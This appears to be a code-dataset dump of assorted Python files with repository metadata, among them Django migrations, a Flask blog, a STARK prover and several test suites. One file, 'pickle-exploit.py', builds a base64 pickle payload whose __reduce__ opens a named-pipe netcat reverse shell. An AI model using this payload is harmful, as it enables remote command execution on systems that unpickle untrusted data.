0
0
1
34f24a67b92ea91521b3d5b1ba973adc8ffec698
864
py
Python
commands/archives/extract.py
martinwittmann/project-cmd
189a4b002da5ba81160e5e63f91be2da9c13f0c2
[ "MIT" ]
1
2021-06-13T04:04:15.000Z
2021-06-13T04:04:15.000Z
commands/archives/extract.py
martinwittmann/project-cmd
189a4b002da5ba81160e5e63f91be2da9c13f0c2
[ "MIT" ]
null
null
null
commands/archives/extract.py
martinwittmann/project-cmd
189a4b002da5ba81160e5e63f91be2da9c13f0c2
[ "MIT" ]
null
null
null
import click from completions import get_local_archives import context import util help_text = """(ax) Extract an archive, possibly overwriting local files.""" @click.command(name='extract', help=help_text) @click.argument('name', type=click.STRING, autocompletion=get_local_archives) @click.pass_context def extract_...
30.857143
77
0.746528
115
864
5.443478
0.408696
0.089457
0.076677
0.067093
0.303514
0.303514
0.303514
0.303514
0.303514
0.303514
0
0
0.127315
864
27
78
32
0.830239
0
0
0.181818
0
0
0.144676
0
0
0
0
0
0
1
0.090909
false
0.090909
0.181818
0
0.272727
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
34f9ac0013365558bf823fb149eb3e18da22e762
680
py
Python
src/27.py
elemel/project-euler
fd8494e0fafd060803727dcf6e163857f7253379
[ "MIT" ]
1
2016-05-08T18:55:35.000Z
2016-05-08T18:55:35.000Z
src/27.py
elemel/project-euler
fd8494e0fafd060803727dcf6e163857f7253379
[ "MIT" ]
null
null
null
src/27.py
elemel/project-euler
fd8494e0fafd060803727dcf6e163857f7253379
[ "MIT" ]
null
null
null
from itertools import count def sieve(last): primes = range(last) for i in count(2): if i * i >= last: break if primes[i] == 0: continue for j in count(2): if i * j >= last: break primes[i * j] = 0 return [i for i in pr...
23.448276
47
0.480882
100
680
3.19
0.35
0.065831
0.037618
0.062696
0.068966
0
0
0
0
0
0
0.071078
0.4
680
28
48
24.285714
0.710784
0
0
0.083333
0
0
0.011765
0
0
0
0
0
0
0
null
null
0
0.041667
null
null
0.041667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
5504d1fd2c653c0e8ff3119ca68354a14f22c805
1,916
py
Python
app.py
bisguzar/flask-blog
27a7d4f4cb29da1fbcee7b2ad5e168b422f66083
[ "MIT" ]
5
2018-08-06T06:58:19.000Z
2021-07-18T03:35:15.000Z
app.py
bisguzar/flask-blog
27a7d4f4cb29da1fbcee7b2ad5e168b422f66083
[ "MIT" ]
null
null
null
app.py
bisguzar/flask-blog
27a7d4f4cb29da1fbcee7b2ad5e168b422f66083
[ "MIT" ]
2
2019-09-05T11:22:20.000Z
2021-03-27T11:24:01.000Z
from flask import (Flask, render_template, request, redirect, url_for, session) from peewee import * from werkzeug.security import check_password_hash app = Flask(__name__) app.secret_key = 'çok_gizli_ve_karmaşık_metin' database = SqliteDatabase('database.sql') class Editor(Model): class Meta:...
24.253165
79
0.641962
217
1,916
5.497696
0.313364
0.073764
0.093881
0.117351
0.232188
0.152557
0.10394
0.10394
0.10394
0.10394
0
0.000673
0.224948
1,916
78
80
24.564103
0.802694
0
0
0.309091
0
0
0.11952
0.014092
0
0
0
0
0
1
0.072727
false
0.090909
0.054545
0
0.454545
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
55055fd525fe73f895c43ef478c9f8fe691cfe24
1,415
py
Python
sickbeard/tests/db_tests.py
Branlala/docker-sickbeardfr
3ac85092dc4cc8a4171fb3c83e9682162245e13e
[ "MIT" ]
null
null
null
sickbeard/tests/db_tests.py
Branlala/docker-sickbeardfr
3ac85092dc4cc8a4171fb3c83e9682162245e13e
[ "MIT" ]
null
null
null
sickbeard/tests/db_tests.py
Branlala/docker-sickbeardfr
3ac85092dc4cc8a4171fb3c83e9682162245e13e
[ "MIT" ]
null
null
null
# coding=UTF-8 # Author: Dennis Lutter <lad1337@gmail.com> # URL: http://code.google.com/p/sickbeard/ # # This file is part of Sick Beard. # # Sick Beard is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either ...
34.512195
95
0.664311
187
1,415
4.967914
0.614973
0.038751
0.041981
0.061356
0.088267
0.06028
0
0
0
0
0
0.009402
0.173145
1,415
40
96
35.375
0.784615
0.517314
0
0.133333
0
0
0.292169
0.105422
0
0
0
0
0
0
null
null
0
0.133333
null
null
0.266667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
5508e699ac4fd0a9bfdb8652664f8e3209c8bb54
1,773
py
Python
chhotu/orders/migrations/0001_initial.py
roshan007/chhout.web.backend
a952a53d908fb0c648b8b7279130166c2054f502
[ "MIT" ]
null
null
null
chhotu/orders/migrations/0001_initial.py
roshan007/chhout.web.backend
a952a53d908fb0c648b8b7279130166c2054f502
[ "MIT" ]
null
null
null
chhotu/orders/migrations/0001_initial.py
roshan007/chhout.web.backend
a952a53d908fb0c648b8b7279130166c2054f502
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-07-14 15:15 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('product...
45.461538
223
0.63057
192
1,773
5.635417
0.473958
0.091497
0.038817
0.060998
0.118299
0.118299
0.118299
0.118299
0.118299
0.118299
0
0.020378
0.225042
1,773
38
224
46.657895
0.767103
0.037789
0
0
1
0
0.184381
0
0
0
0
0
0
1
0
false
0
0.133333
0
0.266667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
550ed7b071fd63659f7244b59f537b4ad85fc931
16,226
py
Python
app.py
apoorvkhare07/SUMSarizer
ff8264906c380b4d5e6a52a23040bb8bff361c92
[ "MIT" ]
9
2015-03-08T07:45:30.000Z
2019-02-10T04:22:34.000Z
app.py
apoorvkhare07/SUMSarizer
ff8264906c380b4d5e6a52a23040bb8bff361c92
[ "MIT" ]
45
2015-04-09T00:32:09.000Z
2018-08-22T18:04:53.000Z
app.py
apoorvkhare07/SUMSarizer
ff8264906c380b4d5e6a52a23040bb8bff361c92
[ "MIT" ]
13
2015-04-08T23:52:05.000Z
2019-02-20T10:22:33.000Z
""" """ import os import json import datetime import random import zipfile import re import sumsparser as parser from dateutil.parser import parse as date_parse from werkzeug.contrib.profiler import ProfilerMiddleware from flask import ( Flask, redirect, render_template, request, url_for, json...
30.557439
127
0.641008
2,044
16,226
4.886986
0.140411
0.032936
0.033637
0.041446
0.415457
0.349284
0.302833
0.255581
0.211332
0.1814
0
0.006692
0.23561
16,226
531
128
30.557439
0.798678
0.064464
0
0.311856
0
0
0.107152
0.030265
0
0
0
0
0
0
null
null
0
0.041237
null
null
0.007732
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
55161a2ebb92ae271c9f0d4e1f319ef3a22f9609
382
py
Python
web/settings.py
douglassquirrel/combo
cab324b3a39c9fdcfd0424487a595527621e5353
[ "MIT" ]
2
2015-02-21T13:39:06.000Z
2017-12-04T16:44:59.000Z
web/settings.py
douglassquirrel/combo
cab324b3a39c9fdcfd0424487a595527621e5353
[ "MIT" ]
null
null
null
web/settings.py
douglassquirrel/combo
cab324b3a39c9fdcfd0424487a595527621e5353
[ "MIT" ]
null
null
null
from web.env_urls import factspace_url, pubsub_url from os.path import dirname, join as pathjoin from web.factspace import Factspace from web.pubsub import PubSub from sys import stderr with open(pathjoin(dirname(__file__), 'home.html')) as f: HOME_HTML = f.read() CHARSET = 'utf-8' ERROR_OUT = stderr FACTSPACE = ...
27.285714
57
0.774869
59
382
4.830508
0.491525
0.073684
0.126316
0
0
0
0
0
0
0
0
0.003021
0.133508
382
13
58
29.384615
0.858006
0
0
0
0
0
0.049738
0
0
0
0
0
0
1
0
false
0
0.454545
0
0.454545
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
551cfd2ba5152b9e1619d22b78a377008f5eb9f3
4,258
py
Python
pyatv/mrp/protobuf/Origin_pb2.py
stickpin/pyatv
cb45bf5d303593a4e0be05215f21140e2fbbb03d
[ "MIT" ]
null
null
null
pyatv/mrp/protobuf/Origin_pb2.py
stickpin/pyatv
cb45bf5d303593a4e0be05215f21140e2fbbb03d
[ "MIT" ]
128
2020-04-24T06:42:29.000Z
2021-02-19T11:34:20.000Z
pyatv/mrp/protobuf/Origin_pb2.py
stickpin/pyatv
cb45bf5d303593a4e0be05215f21140e2fbbb03d
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: pyatv/mrp/protobuf/Origin.proto from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_dat...
34.901639
424
0.749413
545
4,258
5.568807
0.240367
0.044811
0.069193
0.036244
0.371993
0.338715
0.321582
0.321582
0.240857
0.204613
0
0.037766
0.129403
4,258
121
425
35.190083
0.780955
0.055425
0
0.45
1
0.01
0.167123
0.114819
0
0
0
0
0
1
0
false
0
0.05
0
0.05
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
9b31a4ed53ce2e5fbf1382b64b565696ba2e0ffd
4,880
py
Python
fpga/myhdl/test_wb.py
wingel/sds7102
77d85533d2ddfd26a0fb45f3ceff4cf8e6ff447a
[ "MIT" ]
47
2016-07-16T20:03:19.000Z
2021-12-21T03:35:41.000Z
fpga/myhdl/test_wb.py
wingel/sds7102
77d85533d2ddfd26a0fb45f3ceff4cf8e6ff447a
[ "MIT" ]
null
null
null
fpga/myhdl/test_wb.py
wingel/sds7102
77d85533d2ddfd26a0fb45f3ceff4cf8e6ff447a
[ "MIT" ]
15
2016-07-29T08:10:11.000Z
2020-11-28T15:49:55.000Z
#! /usr/bin/python import hacking if __name__ == '__main__': hacking.reexec_if_needed('test_wb.py') from myhdl import Signal, ResetSignal, intbv, always, always_seq, always_comb from wb import WbSlave, WbSyncSlave, WbMux from ram import AsyncRam def wb_write(bus, adr, dat, timeout = 10): print "wb_write", he...
25.284974
88
0.55041
754
4,880
3.367374
0.157825
0.05514
0.05514
0.031508
0.418669
0.345805
0.324143
0.249311
0.203623
0.18078
0
0.027676
0.32623
4,880
192
89
25.416667
0.744526
0.017828
0
0.394558
0
0
0.033194
0
0
0
0.002505
0
0
0
null
null
0
0.068027
null
null
0.122449
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
9b339bb448232e5c858d8c49ef36e0d5b5ea557d
3,342
py
Python
schema.py
txsl/MADMail
2749675bf2458c713ba6bcd8b11060e838ddf5aa
[ "MIT" ]
null
null
null
schema.py
txsl/MADMail
2749675bf2458c713ba6bcd8b11060e838ddf5aa
[ "MIT" ]
null
null
null
schema.py
txsl/MADMail
2749675bf2458c713ba6bcd8b11060e838ddf5aa
[ "MIT" ]
null
null
null
# coding: utf-8 from sqlalchemy import Column, Date, DateTime, Float, Index, Integer, LargeBinary, Numeric, String, Table, Text, Unicode from sqlalchemy.dialects.mssql.base import BIT, MONEY from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() metadata = Base.metadata t_MumsandDadsAlloca...
34.8125
120
0.700778
334
3,342
6.904192
0.242515
0.152212
0.182134
0.146574
0.388552
0.365568
0.301388
0.301388
0.301388
0.259324
0
0.017167
0.163375
3,342
95
121
35.178947
0.807582
0.00389
0
0.379747
0
0
0.155442
0.026458
0
0
0
0
0
1
0
false
0
0.037975
0
0.468354
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
9b3c7325e97c05bcf8e3168de3f2a6bbe01778ad
1,343
py
Python
Coding/Competitive_Coding/CodeForces/0 - 1300/Sale.py
Phantom586/My_Codes
900c4e5e95ab833e4f78f1594e3b25178a74f1a7
[ "MIT" ]
null
null
null
Coding/Competitive_Coding/CodeForces/0 - 1300/Sale.py
Phantom586/My_Codes
900c4e5e95ab833e4f78f1594e3b25178a74f1a7
[ "MIT" ]
null
null
null
Coding/Competitive_Coding/CodeForces/0 - 1300/Sale.py
Phantom586/My_Codes
900c4e5e95ab833e4f78f1594e3b25178a74f1a7
[ "MIT" ]
null
null
null
# Once Bob got to a sale of old TV sets. There were n TV sets at that sale. TV set with index i costs ai bellars. # Some TV sets have a negative price — their owners are ready to pay Bob if he buys their useless apparatus. Bob can # «buy» any TV sets he wants. Though he's very strong, Bob can carry at most m TV sets, a...
38.371429
119
0.686523
271
1,343
3.416974
0.435424
0.058315
0.017279
0.030238
0.097192
0.097192
0.045356
0
0
0
0
0.028986
0.229337
1,343
34
120
39.5
0.855072
0.818317
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
9b3ed01cac930353436ab4f2f3ffdac84d35937d
285
py
Python
jobs/admin.py
KatherineMichel/django-jobs
458107eedaccb66d204c376a6cf981ad83707ac1
[ "BSD-3-Clause" ]
9
2020-01-19T12:16:21.000Z
2021-09-24T23:13:40.000Z
jobs/admin.py
KatherineMichel/django-jobs
458107eedaccb66d204c376a6cf981ad83707ac1
[ "BSD-3-Clause" ]
1
2021-04-02T17:50:36.000Z
2021-04-02T17:50:36.000Z
jobs/admin.py
KatherineMichel/django-jobs
458107eedaccb66d204c376a6cf981ad83707ac1
[ "BSD-3-Clause" ]
1
2022-02-19T20:48:53.000Z
2022-02-19T20:48:53.000Z
from django.contrib import admin from .models import JobListing class JobListingAdmin(admin.ModelAdmin): list_display = ("title", "employer_name", "status", "created") list_filter = ("status",) ordering = ("-created",) admin.site.register(JobListing, JobListingAdmin)
21.923077
66
0.722807
30
285
6.766667
0.7
0
0
0
0
0
0
0
0
0
0
0
0.14386
285
12
67
23.75
0.831967
0
0
0
0
0
0.157895
0
0
0
0
0
0
1
0
false
0
0.285714
0
0.857143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
9b3f0fc8937a284d9e33c26ba7a65afb8614e29d
3,897
py
Python
custom_components/tkvw_egardia/__init__.py
tkvw/py.hacs.egardia
89168488fa35fae658a089d5f2a4cd195e0caae2
[ "MIT" ]
null
null
null
custom_components/tkvw_egardia/__init__.py
tkvw/py.hacs.egardia
89168488fa35fae658a089d5f2a4cd195e0caae2
[ "MIT" ]
null
null
null
custom_components/tkvw_egardia/__init__.py
tkvw/py.hacs.egardia
89168488fa35fae658a089d5f2a4cd195e0caae2
[ "MIT" ]
null
null
null
""" Custom integration to integrate blueprint with Home Assistant. For more details about this integration, please refer to https://github.com/custom-components/blueprint """ import asyncio from datetime import timedelta import logging from homeassistant.config_entries import ConfigEntry from homeassistant.core impor...
30.685039
90
0.707211
438
3,897
6.086758
0.255708
0.026257
0.024756
0.024006
0.187922
0.067517
0
0
0
0
0
0.001929
0.20195
3,897
126
91
30.928571
0.855305
0.494996
0
0
0
0
0.013978
0
0
0
0
0
0
1
0
false
0.061224
0.22449
0
0.244898
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
9b45f2b8a36e85e83552c3d99276cfe61175222a
1,863
py
Python
vio/vio/pub/msapi/extsys.py
onap/multicloud-openstack-vmware
53fd67e55f54c66b29e0eb5ab792e80d16ffff20
[ "Apache-2.0", "CC-BY-4.0" ]
1
2021-10-15T16:47:11.000Z
2021-10-15T16:47:11.000Z
vio/vio/pub/msapi/extsys.py
onap/multicloud-openstack-vmware
53fd67e55f54c66b29e0eb5ab792e80d16ffff20
[ "Apache-2.0", "CC-BY-4.0" ]
1
2020-02-11T22:14:45.000Z
2020-02-11T22:14:45.000Z
vio/vio/pub/msapi/extsys.py
onap/multicloud-openstack-vmware
53fd67e55f54c66b29e0eb5ab792e80d16ffff20
[ "Apache-2.0", "CC-BY-4.0" ]
null
null
null
# Copyright (c) 2017-2018 VMware, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
35.826923
74
0.66452
276
1,863
4.34058
0.365942
0.105175
0.15192
0.093489
0.252087
0.252087
0.252087
0.208681
0.208681
0.066778
0
0.013601
0.171229
1,863
51
75
36.529412
0.762306
0.247987
0
0
0
0
0.318934
0
0
0
0
0
0
1
0.060606
false
0.060606
0.060606
0
0.181818
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
9b46dc780047e176a87be5de5ba082ec9c71be5a
1,434
py
Python
main.py
joeylmaalouf/frlg-palette-swapper
5a20e697ee4531cd9cc58df7bc0a02bc6c01dca6
[ "MIT" ]
null
null
null
main.py
joeylmaalouf/frlg-palette-swapper
5a20e697ee4531cd9cc58df7bc0a02bc6c01dca6
[ "MIT" ]
null
null
null
main.py
joeylmaalouf/frlg-palette-swapper
5a20e697ee4531cd9cc58df7bc0a02bc6c01dca6
[ "MIT" ]
null
null
null
from PIL import Image import numpy as np def get_palette (data): unique, counts = np.unique(data.reshape(-1, data.shape[2]), axis = 0, return_counts = True) mask = (unique[:, 3] != 0) return sorted(zip(unique[mask], counts[mask]), key = lambda x: x[1], reverse = True) def replace_color (data, src, dst): red, gree...
36.769231
102
0.69735
222
1,434
4.418919
0.509009
0.008155
0.01631
0
0
0
0
0
0
0
0
0.04864
0.154114
1,434
39
103
36.769231
0.760099
0.252441
0
0
0
0
0.041276
0
0
0
0
0.025641
0
1
0.107143
false
0
0.071429
0
0.285714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
9b4c43f269745ba9690d571388fbd40657204b08
2,750
py
Python
benchmark/museum_of_evolution/uncompiled_floq/optimization_task.py
sirmarcel/floq
a456957500c809a5bb4cdae2d7b1d4720c28f2c4
[ "MIT" ]
3
2020-10-31T00:30:42.000Z
2021-02-27T14:59:17.000Z
benchmark/museum_of_evolution/uncompiled_floq/optimization_task.py
sirmarcel/floq
a456957500c809a5bb4cdae2d7b1d4720c28f2c4
[ "MIT" ]
1
2019-06-06T12:56:46.000Z
2019-06-06T14:41:13.000Z
benchmark/museum_of_evolution/uncompiled_floq/optimization_task.py
sirmarcel/floq
a456957500c809a5bb4cdae2d7b1d4720c28f2c4
[ "MIT" ]
5
2017-07-25T11:22:56.000Z
2021-02-27T14:59:24.000Z
import numpy as np import floq.systems.parametric_system as ps import floq.evolution as ev class OptimizationTaskBase(object): """ Base class to specify an optimization problem, i.e. a physical (parametrised) system, a fidelity, a target and an initial control vector. """ def fidelity(self, co...
29.255319
68
0.645818
346
2,750
4.99422
0.228324
0.076389
0.0625
0.048611
0.448495
0.39294
0.361111
0.297454
0.236111
0.236111
0
0.002966
0.264364
2,750
93
69
29.569892
0.851211
0
0
0.431034
0
0
0
0
0
0
0
0
0
0
null
null
0
0.051724
null
null
0.034483
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
9b5436524b465b4d9db12d2230f275d87a43fa7b
17,088
py
Python
starks/stark.py
computablelabs/starks
f8e45d56c3934a1cf24220b58e073434379e3d78
[ "MIT" ]
9
2018-11-30T18:53:54.000Z
2021-11-15T20:59:08.000Z
starks/stark.py
computablelabs/starks
f8e45d56c3934a1cf24220b58e073434379e3d78
[ "MIT" ]
13
2018-11-30T00:13:49.000Z
2019-04-04T20:14:29.000Z
starks/stark.py
computablelabs/starks
f8e45d56c3934a1cf24220b58e073434379e3d78
[ "MIT" ]
1
2020-05-14T20:35:48.000Z
2020-05-14T20:35:48.000Z
import time from typing import List from typing import Tuple from starks.merkle_tree import blake from starks.merkle_tree import verify_branch from starks.merkle_tree import mk_branch from starks.merkle_tree import merkelize from starks.merkle_tree import merkelize_polynomial_evaluations from starks.merkle_tree import ...
42.29703
244
0.714888
2,556
17,088
4.576291
0.167058
0.007181
0.016927
0.004788
0.278618
0.186116
0.123963
0.104215
0.093785
0.069078
0
0.011353
0.190719
17,088
403
245
42.401985
0.834478
0.342111
0
0.189189
0
0
0.01957
0
0
0
0.001738
0.024814
0.022523
1
0.058559
false
0
0.112613
0.004505
0.22973
0.031532
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
9b622278878589bb7ca37528cdd2e13cfb7d2bea
338
py
Python
pickle-exploit.py
johto89/Google-Hacking-Tool-with-C-
bfa8a7ab8e422fb719d4518b8ae02d8c7108243e
[ "MIT" ]
null
null
null
pickle-exploit.py
johto89/Google-Hacking-Tool-with-C-
bfa8a7ab8e422fb719d4518b8ae02d8c7108243e
[ "MIT" ]
null
null
null
pickle-exploit.py
johto89/Google-Hacking-Tool-with-C-
bfa8a7ab8e422fb719d4518b8ae02d8c7108243e
[ "MIT" ]
null
null
null
import pickle import base64 import os class RCE: def __reduce__(self): cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ' '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f') return os.system, (cmd,) if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.urlsafe_b6...
21.125
62
0.585799
50
338
3.7
0.68
0.086486
0
0
0
0
0
0
0
0
0
0.071713
0.257396
338
15
63
22.533333
0.665339
0
0
0
0
0.090909
0.269231
0
0
0
0
0
0
1
0.090909
false
0
0.272727
0
0.545455
0.090909
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
9b627c0185ce41dd5f9c23f6c106b0ac38d7cc17
556
py
Python
src/constrainttemplates/policy.py
nokia/conftest-runner
a809f642407663ae0bff39554fdc3c2cb5e430ce
[ "BSD-3-Clause" ]
2
2022-03-03T23:37:06.000Z
2022-03-11T21:36:06.000Z
src/constrainttemplates/policy.py
nokia/conftest-runner
a809f642407663ae0bff39554fdc3c2cb5e430ce
[ "BSD-3-Clause" ]
null
null
null
src/constrainttemplates/policy.py
nokia/conftest-runner
a809f642407663ae0bff39554fdc3c2cb5e430ce
[ "BSD-3-Clause" ]
null
null
null
# Copyright 2021 Nokia # Licensed under the BSD 3-Clause License. # SPDX-License-Identifier: BSD-3-Clause from typing import Optional from common.files import create_temp_dir from common.logger import Logger class Policy(object): def __init__(self, namespace: Optional[str], policy: str): self.namespace = ...
32.705882
78
0.753597
76
556
5.315789
0.539474
0.108911
0.049505
0
0
0
0
0
0
0
0
0.012876
0.161871
556
17
79
32.705882
0.854077
0.178058
0
0
0
0
0.061674
0
0
0
0
0
0
1
0.181818
false
0
0.272727
0
0.636364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
9b6372c34c600e9d747ef47457742a42d22556fb
5,602
py
Python
augmentation/train_algorithms.py
delftdata/auto-data-augmentation
46acd20aff5ff3081472d6a71bb2b01da9b513cb
[ "Apache-2.0" ]
null
null
null
augmentation/train_algorithms.py
delftdata/auto-data-augmentation
46acd20aff5ff3081472d6a71bb2b01da9b513cb
[ "Apache-2.0" ]
null
null
null
augmentation/train_algorithms.py
delftdata/auto-data-augmentation
46acd20aff5ff3081472d6a71bb2b01da9b513cb
[ "Apache-2.0" ]
null
null
null
from subprocess import check_call import matplotlib.pyplot as plt from PIL.Image import Image from PIL.ImageDraw import ImageDraw from sklearn import tree from sklearn.metrics import accuracy_score from sklearn.model_selection import train_test_split, GridSearchCV from xgboost import XGBClassifier from augmentation.i...
43.092308
109
0.66744
800
5,602
4.43
0.2
0.11851
0.05079
0.019752
0.686795
0.674379
0.674379
0.629797
0.610327
0.579289
0
0.015131
0.197787
5,602
129
110
43.426357
0.773476
0.219029
0
0.701299
0
0
0.234101
0.020277
0
0
0
0
0
1
0.051948
false
0
0.116883
0
0.220779
0.324675
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
9b7595644f7a3c04c6b2558367c87d317d3817d8
13,012
py
Python
tests/test.py
citycommerce/get-vat-eu
91bf3bf10d1526c18ccf444aeee62240416e2b01
[ "MIT" ]
1
2019-10-23T08:57:01.000Z
2019-10-23T08:57:01.000Z
tests/test.py
citycommerce/get-vat-eu
91bf3bf10d1526c18ccf444aeee62240416e2b01
[ "MIT" ]
null
null
null
tests/test.py
citycommerce/get-vat-eu
91bf3bf10d1526c18ccf444aeee62240416e2b01
[ "MIT" ]
3
2019-10-18T14:02:52.000Z
2020-01-30T17:42:03.000Z
# # tests.py # """The tests module.""" from get_vat_eu import (api, exceptions, constants) import unittest import copy S1 = ' ' S2 = 2 * ' ' S3 = 3 * ' ' S4 = 4 * ' ' S5 = 5 * ' ' S10 = 10 * ' ' class TestApi(unittest.TestCase): r"""Test the main API.""" def _test_parse_address_string_IT_common(self, expec...
42.943894
89
0.618199
1,224
13,012
6.127451
0.115196
0.0944
0.0968
0.04
0.7732
0.741467
0.6604
0.6216
0.6044
0.498267
0
0.013426
0.278743
13,012
302
90
43.086093
0.785722
0.046726
0
0.387665
0
0
0.158084
0.08113
0
0
0
0
0.0837
1
0.013216
false
0
0.013216
0
0.030837
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
9b7691bd8340cd4b59fa59d814e5d4f2435515c8
422
py
Python
project/nutrihacker/migrations/0027_profile_profilepic.py
COSC481W-2020Fall/cosc481w-581-2020-fall-nutrition-helper
a8ddb4b8c0703e376d5bb0f668ef003e2ed203e8
[ "MIT" ]
1
2021-03-18T00:12:09.000Z
2021-03-18T00:12:09.000Z
project/nutrihacker/migrations/0027_profile_profilepic.py
COSC481W-2020Fall/cosc481w-581-2020-fall-nutrition-helper
a8ddb4b8c0703e376d5bb0f668ef003e2ed203e8
[ "MIT" ]
104
2020-09-09T18:52:33.000Z
2020-12-16T15:17:56.000Z
project/nutrihacker/migrations/0027_profile_profilepic.py
COSC481W-2020Fall/cosc481w-581-2020-fall-nutrition-helper
a8ddb4b8c0703e376d5bb0f668ef003e2ed203e8
[ "MIT" ]
1
2021-03-17T21:35:51.000Z
2021-03-17T21:35:51.000Z
# Generated by Django 3.1.1 on 2020-12-04 04:21 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('nutrihacker', '0026_recipe_foods'), ] operations = [ migrations.AddField( model_name='profile', name='profilePic', ...
22.210526
85
0.613744
45
422
5.644444
0.777778
0
0
0
0
0
0
0
0
0
0
0.06129
0.265403
422
18
86
23.444444
0.758065
0.106635
0
0
1
0
0.181333
0
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
9b7ab7ad853060d51bd44b4cc280754640887a22
3,425
py
Python
backend/api/migrations/0170_auto_20190819_0126.py
amichard/tfrs
ed3973016cc5c2ae48999d550a23b41a5ddad807
[ "Apache-2.0" ]
18
2017-05-10T21:55:11.000Z
2021-03-01T16:41:32.000Z
backend/api/migrations/0170_auto_20190819_0126.py
amichard/tfrs
ed3973016cc5c2ae48999d550a23b41a5ddad807
[ "Apache-2.0" ]
1,167
2017-03-04T00:18:43.000Z
2022-03-03T22:31:51.000Z
backend/api/migrations/0170_auto_20190819_0126.py
amichard/tfrs
ed3973016cc5c2ae48999d550a23b41a5ddad807
[ "Apache-2.0" ]
48
2017-03-09T17:19:39.000Z
2022-02-24T16:38:17.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.21 on 2019-08-19 01:26 from __future__ import unicode_literals import db_comments.model_mixins from django.conf import settings import django.contrib.postgres.fields.jsonb import django.core.serializers.json from django.db import migrations, models import django.db.mo...
46.283784
190
0.665693
358
3,425
6.159218
0.276536
0.036281
0.057143
0.089796
0.637642
0.576871
0.455329
0.335147
0.335147
0.335147
0
0.008218
0.218394
3,425
73
191
46.917808
0.815465
0.020146
0
0.378788
1
0
0.191172
0.072771
0
0
0
0
0
1
0
false
0
0.106061
0
0.151515
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
